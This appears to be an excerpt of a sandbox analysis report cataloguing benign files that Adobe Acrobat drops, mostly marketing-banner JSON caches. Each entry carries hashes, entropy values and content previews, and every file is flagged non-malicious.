Entropy (8bit):	5.293413175176217
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDU8pK8IY+FIbRI6XVW7+0YFLoKoAvJM3g98kUwPeUkwRe9:YvXKXTpK8I5YpW7Wo5GMbLUkee9
MD5:	2017E32CBF189FF9F0A210C10AF57757
SHA1:	CDE5B6BC3DCEB8727476278D4922D0E8E9290C8D
SHA-256:	D8812DC8B061117BF09D7EBAEDCCF8A2A14B03F0061AFD506CB2691FAE9A48ED
SHA-512:	4CCC591556324462FA72C7CC3527574980477EC5EA1BBBCF93B092E5052731579C82CDF54C4B61BC403841CD4F74C00ECF59EDFB6BC2455FD1939B72495A04DF
Malicious:	false
Reputation:	low
Preview:	{"analyticsData":{"responseGUID":"41c4d5b4-fe61-4a64-98ce-eee200cfc640","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1731841452833,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.226973948548707
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDU8pK8IY+FIbRI6XVW7+0YFLoKoAvJfBoTfXpnrPeUkwRe9:YvXKXTpK8I5YpW7Wo5GWTfXcUkee9
MD5:	2C0F42555C095ED9BC86CC655CC04416
SHA1:	82AC76897ECF5558AA5C07BE090E1A55EAC1EF1C
SHA-256:	B36C499B53763388F6C7B70077F1E0B0672096B2C96DD1ABCDC1330FB20CEC2B
SHA-512:	0B707F16E74AEB77AA2FD691ACBF7B4D97A2F6F745A00B1F38958C784F9FEC407A19E8FAD10C17C3EA5316A3E3935A4F2AD32965AAF93B92E034F70709887DB5
Malicious:	false
Reputation:	low
Preview:	{"analyticsData":{"responseGUID":"41c4d5b4-fe61-4a64-98ce-eee200cfc640","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1731841452833,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.205511625233121
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDU8pK8IY+FIbRI6XVW7+0YFLoKoAvJfBD2G6UpnrPeUkwRe9:YvXKXTpK8I5YpW7Wo5GR22cUkee9
MD5:	334BFBFD270CE21D5CA36631B7A51FD8
SHA1:	4DF7864574831B8852E49D94887ABBD548448DA2
SHA-256:	E603C2FB2F3F8EB512315F70E56D266D0898ED54DCCD5A54C03A1B4388CD384F
SHA-512:	755624570037965A1B0D9D126C25641B1642B60D5A4C5089808D655CAE69DE8CAA1F62BBDF3F4313FB929A7A97E6C953AF19A0DC2A1651D426A19EE62D216711
Malicious:	false
Reputation:	low
Preview:	{"analyticsData":{"responseGUID":"41c4d5b4-fe61-4a64-98ce-eee200cfc640","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1731841452833,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.269851659456785
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDU8pK8IY+FIbRI6XVW7+0YFLoKoAvJfPmwrPeUkwRe9:YvXKXTpK8I5YpW7Wo5GH56Ukee9
MD5:	87B2B7F7CF0BD4333B3B7AD46446D51E
SHA1:	7039A91FC4511727463876D1D9C793385372F7F3
SHA-256:	1B22E2C2CE2938197B52184F06DA83919610DDB5CF8DB87D4D95863839D8DAEA
SHA-512:	55903695A005EBC6E1F31EAC04CB2339EFBA051E08052AEF8B470EAD9D298115682AEB981DDD4B534A894C6A878B7B3D58D469FBFEABAFD0D11379E35A6F23A2
Malicious:	false
Reputation:	low
Preview:	{"analyticsData":{"responseGUID":"41c4d5b4-fe61-4a64-98ce-eee200cfc640","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1731841452833,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.681422410170447
Encrypted:	false
SSDEEP:	24:Yv6XHHifepLgE9cQx8LennAvzBvkn0RCmK8czOCCSW:YvFmhgy6SAFv5Ah8cv/W
MD5:	69436630EC1A2193A9202F0D7BB4312F
SHA1:	ACB8EEAA6FF30885AF185D6FC07FA268ED2DDBFD
SHA-256:	00913B81FAF5E6ECCB19C78481E924C15E6B4ABCC66A0B266910C06E91F327D7
SHA-512:	C4FAB9FEFF7A47FEC2CFA55A09C9FEC88B5D9EBBE50054501F76498678548C28D3D90D214F099D0A4D913DBD5A882C9655B2EE8D7E264FF4314510374EA9AD23
Malicious:	false
Reputation:	low
Preview:	{"analyticsData":{"responseGUID":"41c4d5b4-fe61-4a64-98ce-eee200cfc640","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1731841452833,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1122
Entropy (8bit):	5.671274194075261
Encrypted:	false
SSDEEP:	24:Yv6XHHifIVLgEwcp06ybnAvz7xHn0RCmK8czOCYHfl8zdBv:YvFQFgSNycJUAh8cvYH4
MD5:	63E3CB3F49938247A0E67CC404729EEB
SHA1:	87AD914E7D6394B8CE98724B5D311BD6B3BF8CAC
SHA-256:	AE2ECA7D70FAFD2EA771254448027200C1A86DDB1C38E0D91D8E859DD349ECC3
SHA-512:	EBBE5A0480346FE75BE3BFAB9B286C3E58563BBF9C2AAE5CFE241FE44D089CC47B08F9E4D1E23B8161365E7894BCC2E10B9D12B07451AF9E6F95A54C6A325A2C
Malicious:	false
Reputation:	low
Preview:	{"analyticsData":{"responseGUID":"41c4d5b4-fe61-4a64-98ce-eee200cfc640","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1731841452833,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Disc_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93181_288855ActionBlock_0","campaignId":93181,"containerId":"1","controlGroupId":"","treatmentId":"1aad653c-ef44-43f7-be1c-3a2ba2cf2cfc","variationId":"288855"},"containerId":1,"containerLabel":"JSON for DC_Reader_Disc_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkNvbnZlcnQsIGVkaXQgYW5kIGUtc2lnblxuIFBERiBmb3JtcyAmIGFncmVlbWVudHMuIn0sInRjY

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.213993754980505
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDU8pK8IY+FIbRI6XVW7+0YFLoKoAvJfQ1rPeUkwRe9:YvXKXTpK8I5YpW7Wo5GY16Ukee9
MD5:	FB4F502ADE7F58C8E17D6D6C084C794F
SHA1:	6C22FE454AF0806A63B589290825CFCFA54AE05A
SHA-256:	05D70D5C89BBD61079D89F109D81F1D02830DDEBC1C3788F0448ADEC41342E1F
SHA-512:	3B6E4FF836CF2B536313CCCEE0BA536603B0DF9F855CD4E144C48139F188436F128627D11A843AC9FC8082DACD77EEDD4BD27A3697697C30175DEE3942B098E8
Malicious:	false
Reputation:	low
Preview:	{"analyticsData":{"responseGUID":"41c4d5b4-fe61-4a64-98ce-eee200cfc640","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1731841452833,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1102
Entropy (8bit):	5.668548466879882
Encrypted:	false
SSDEEP:	24:Yv6XHHifN2LgErcXWl7y0nAvzIBcSJCBViVv:YvF1ogH47yfkB5kVW
MD5:	3EEEF397C74B83401AD18913649B9E15
SHA1:	7B11263CB58505B6A58C7B5AA53008C041C74F11
SHA-256:	38628B6500F263BC740B396AD22AEC1DFC32FF8B46321F3D8C15F913F02701D3
SHA-512:	C7DF10ACCE72EE28001AB33007AF68D3FE91FFE78FA1E6E03019F7722403C8DED5EA065E4B0C33C7AB961E5D8F85C308ED2A7841636D9903092FC8F0E6657101
Malicious:	false
Reputation:	low
Preview:	{"analyticsData":{"responseGUID":"41c4d5b4-fe61-4a64-98ce-eee200cfc640","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1731841452833,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Edit_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93181_288855ActionBlock_1","campaignId":93181,"containerId":"1","controlGroupId":"","treatmentId":"533ab5eb-b236-4889-89a5-ac002261d71e","variationId":"288855"},"containerId":1,"containerLabel":"JSON for DC_Reader_Edit_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkVkaXRQREZSZHJBcHBGdWxsIn0sInVpIjp7InRpdGxlX3N0eWxpbmciOnsiZm9udF9zaXplIjoiMTRweCIsImZvbnRfc3R5bGUiOiIwIn0sImRlc2NyaXB0aW9uX3N0eWxpbmciOnsiZm9udF9zaXplIjoiMTJweCIsImZvbnRfc3R5bGUiOiItMSJ9LCJ0aXRsZSI6bnVsbCwiZGVzY3JpcHRpb24iOiJFZGl0IHRleHQsIGltYWdlcywgcGFnZXMsIGFuZCBtb3JlLiJ9LCJ0Y2F0SWQiOm51bGx9","da

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1164
Entropy (8bit):	5.6913836697130895
Encrypted:	false
SSDEEP:	24:Yv6XHHiflKLgEfIcZVSkpsn264rS514ZjBrwloJTmcVIsrSK5v:YvFdEgqprtrS5OZjSlwTmAfSK5
MD5:	27E6B5941FA8AF3496779FC7677B0A77
SHA1:	AE5D913E5AFA74DF71416CD46D7A475B3D9913A2
SHA-256:	05CBFE76EBC1AE429F40E2CF783853F45A37B28A4BFA06FC41A4774FD9E3B80F
SHA-512:	875E516B7A0D80821F479CC734B84A657587EBF51D065DAEF575EE223E32D834C5847CFEC4125D7BBCB7524D4670984C80DEC64FDA493FDD67F184DCE0952A78
Malicious:	false
Reputation:	low
Preview:	{"analyticsData":{"responseGUID":"41c4d5b4-fe61-4a64-98ce-eee200cfc640","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1731841452833,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Home_LHP_Trial_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"85531_264848ActionBlock_0","campaignId":85531,"containerId":"1","controlGroupId":"","treatmentId":"ee1a7497-76e7-43c2-bb63-9a0551e11d73","variationId":"264848"},"containerId":1,"containerLabel":"JSON for DC_Reader_Home_LHP_Trial_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IlRyeSBBY3JvYmF0IFBybyJ9LCJ1aSI6eyJ0aXRsZV9zdHlsaW5nIjp7ImZvbnRfc2l6ZSI6IjE1cHgiLCJmb250X3N0eWxlIjoiMCJ9LCJkZXNjcmlwdGlvbl9zdHlsaW5nIjp7ImZvbnRfc2l6ZSI6IjEzcHgiLCJmb250X3N0eWxlIjoiLTEifSwidGl0bGUiOiJGcmVlIHRyaWFsIiwiZGVzY3JpcHRpb24iOiJHZXQgdW5saW1pdGVkIGFjY2VzcyB0b1xucHJlbWl1bSBQREYgYW5kIGUtc2lnbmluZ1xudG9vbHMuIn0sImJhbm5lcl9zdHlsaW5nIjo

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.221272763369517
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDU8pK8IY+FIbRI6XVW7+0YFLoKoAvJfYdPeUkwRe9:YvXKXTpK8I5YpW7Wo5Gg8Ukee9
MD5:	AC29D161F0CEE7976D077B968900812D
SHA1:	6C26C31CE2768D1F2A6DEC284CE25B334EE1BFA7
SHA-256:	D010461C454F6FEC83F3CD3CEAC10133FE5EFF50544C3A8CCD152D98F81A9A9A
SHA-512:	E47ADD5AD5164BBE88DC065B91ABB20ABF37389A4F44EA904CC9A32822C808399ECE1C69F921A91DA64EA3EBE3C1AC21797757A851F9D9213D4CA00F09A944DD
Malicious:	false
Reputation:	low
Preview:	{"analyticsData":{"responseGUID":"41c4d5b4-fe61-4a64-98ce-eee200cfc640","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1731841452833,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.207040035826893
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDU8pK8IY+FIbRI6XVW7+0YFLoKoAvJf+dPeUkwRe9:YvXKXTpK8I5YpW7Wo5G28Ukee9
MD5:	9015B11B59889F96886AABC2F28FAD3F
SHA1:	CEB3741492EA352DAD4291E40EC2519D779F4A8A
SHA-256:	55333358C187B5F0D8433AB15C409634F8E0B62FD14B0EC2BB11B28FC654807B
SHA-512:	350AC53B8E2BFEC89D34BC706BEC2D19C366C5FE93EB51998AC4A5B60CA71158D56D820BA1E736C5F56D915AA3E4E97DFE897BDD0AA09AA16E6BD224C2A6628F
Malicious:	false
Reputation:	low
Preview:	{"analyticsData":{"responseGUID":"41c4d5b4-fe61-4a64-98ce-eee200cfc640","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1731841452833,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.205360941707507
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDU8pK8IY+FIbRI6XVW7+0YFLoKoAvJfbPtdPeUkwRe9:YvXKXTpK8I5YpW7Wo5GDV8Ukee9
MD5:	D14D1EB8B631901EC856FC8BE0534203
SHA1:	7DC9A6E57E04D74B929AD5661D0E8CC905EED962
SHA-256:	AC2B1E5F8C031E340CE907E2EEBAD1AC9881ED5FEF0D4A6E919110B53EDC8D49
SHA-512:	8A10FCB082FED00E28526E4C1AF07E18D148F2C73D15E2172918574B0D6FB23CE8AB16D566C491A4AA802066A598F60F093601D111CAF503EB3F0F7965225FE0
Malicious:	false
Reputation:	low
Preview:	{"analyticsData":{"responseGUID":"41c4d5b4-fe61-4a64-98ce-eee200cfc640","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1731841452833,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.205630077857592
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDU8pK8IY+FIbRI6XVW7+0YFLoKoAvJf21rPeUkwRe9:YvXKXTpK8I5YpW7Wo5G+16Ukee9
MD5:	0A65F066FAF1E6D0A5FB3FD20C9E4A4F
SHA1:	18E6E56E67EA06557C771DD8587262813DC5A79A
SHA-256:	451005C82CDAC624FD694B19061FE236C171375C4BE27EA06573859566F1739F
SHA-512:	E0438D34E67E4E9E9979089412E7BCFA18ADF96C87CB608AD00EA3D9F07894504161E0DA0ABBCD6ACC91FE2EFB3A4AD3DF5BC5CA246B0A95F942232ADFF5973A
Malicious:	false
Reputation:	low
Preview:	{"analyticsData":{"responseGUID":"41c4d5b4-fe61-4a64-98ce-eee200cfc640","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1731841452833,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.653191393353106
Encrypted:	false
SSDEEP:	24:Yv6XHHifCamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSW:YvF0BgkDMUJUAh8cvMW
MD5:	A19AE98266AA8C8851E0359108E93155
SHA1:	C88336FAF9CC9EADACBEE615F0F8F5B0C526AC36
SHA-256:	7F00067A497D3042879CF88ECCDFE2306887825507FED60FE88990203CFD3D9D
SHA-512:	B8C68E2039112DF7FA7DCB7A9AB84203262E26DF2832D5A07BAB131FBE88FCAC8FE7785D811F73B9A4E31C575A68E566927B6EAE28A5F25C42C5049AA3576EB7
Malicious:	false
Reputation:	low
Preview:	{"analyticsData":{"responseGUID":"41c4d5b4-fe61-4a64-98ce-eee200cfc640","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1731841452833,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.182096532295572
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDU8pK8IY+FIbRI6XVW7+0YFLoKoAvJfshHHrPeUkwRe9:YvXKXTpK8I5YpW7Wo5GUUUkee9
MD5:	4E86DC5E8707AA3A391C1DFDA1615852
SHA1:	F0A39B7B76EDC021742EA4DB157D808747F5DA5E
SHA-256:	12158C5737D3ED3266255E9D5F92F0FB48D4A0E453C959B7B5D08EEDF5391D89
SHA-512:	DFF7A9FE3DA1850C2B61B512BC99BBB4724A159D5A1226E0EFDB5C8264EA2CF6FB2F509EB5AB57FB6BB63425B06755B57F16BE0A748C208427CA5599F9109C4A
Malicious:	false
Reputation:	low
Preview:	{"analyticsData":{"responseGUID":"41c4d5b4-fe61-4a64-98ce-eee200cfc640","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1731841452833,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	782
Entropy (8bit):	5.355585953548124
Encrypted:	false
SSDEEP:	12:YvXKXTpK8I5YpW7Wo5GTq16Ukee1+3CEJ1KXd15kcyKMQo7P70c0WM6ZB/uhWc:Yv6XHHifV168CgEXX5kcIfANhp
MD5:	4D55DB0626CB8BDA911AED231B78D87C
SHA1:	C18586C1AA179F7D57A286FF33F79DBAEE87B3A8
SHA-256:	24F989E830550D0EDACE75E789256C420210854A02EA7CD09774FCBFE458B204
SHA-512:	92AF07C241B77373E689BB8C4589B752C46C3D17F3951247AA22948AF45FE6749E4A32F74672ADA7C59BD3C15236A66C8413F6C76F68F9F16D9675731840A862
Malicious:	false
Reputation:	low
Preview:	{"analyticsData":{"responseGUID":"41c4d5b4-fe61-4a64-98ce-eee200cfc640","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1731841452833,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"Edit_InApp_Aug2020"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"20360_57769ActionBlock_0","campaignId":20360,"containerId":"1","controlGroupId":"","treatmentId":"3c07988a-9c54-409d-9d06-53885c9f21ec","variationId":"57769"},"containerId":1,"containerLabel":"JSON for switching in-app test","content":{"data":"eyJ1cHNlbGxleHBlcmltZW50Ijp7InRlc3RpZCI6IjEiLCJjb2hvcnQiOiJicm93c2VyIn19","dataType":"application\/json","encodingScheme":true},"endDTS":1735804679000,"startDTS":1731668307863}}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Reputation:	low
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2817
Entropy (8bit):	5.137781751129625
Encrypted:	false
SSDEEP:	24:YZ9pB1vcVPyajvaywvsRxDC94aHCwBBDjOVTNj0SB0iDV22VQZ2LSDWMo6i5Q9zN:YDVcjJD24aHCwnOVFxOJWM4a95
MD5:	A1882E05777E32286527580A8A49FCDD
SHA1:	6D054491BC8B73580F01F8AFCEA9F51D0F98F898
SHA-256:	FA368CC36C779AB9C18D0C6A5E4827C995A81966465C9F847EC725563AF01888
SHA-512:	CBA5F2CD68506A02EAB4CC98C94E8A4AFD5A074CFA85343F6A32A3B36D2E77AFBAD756FB8E176152956DAFCE17A325319C30BE8311554DC1377FBBD2B74128D8
Malicious:	false
Reputation:	low
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"c8b00a8131157732f446141634998ba5","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":1122,"ts":1731668308000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"06786e73ca99db4730aefcda7d163003","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":1164,"ts":1731668307000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"537902dbc49701a6c3fb8f4e18e68961","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1731668307000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"d535cca1cb4c7ea6b8ecaf8c72e3d9fc","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1731668307000},{"id":"DC_Reader_Edit_LHP_Banner","info":{"dg":"cebf18ba1f94e517dfff5173287c9821","sid":"DC_Reader_Edit_LHP_Banner"},"mimeType":"file","size":1102,"ts":1731668307000},{"id":"Edit_InApp_Aug2020","info":{"dg":"de8b967fa977244e547b7d18ea4e1958","sid":"Edit_InApp_Aug2020"},"mimeType":"file","size":782,"ts":17

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	0.9928259036746693
Encrypted:	false
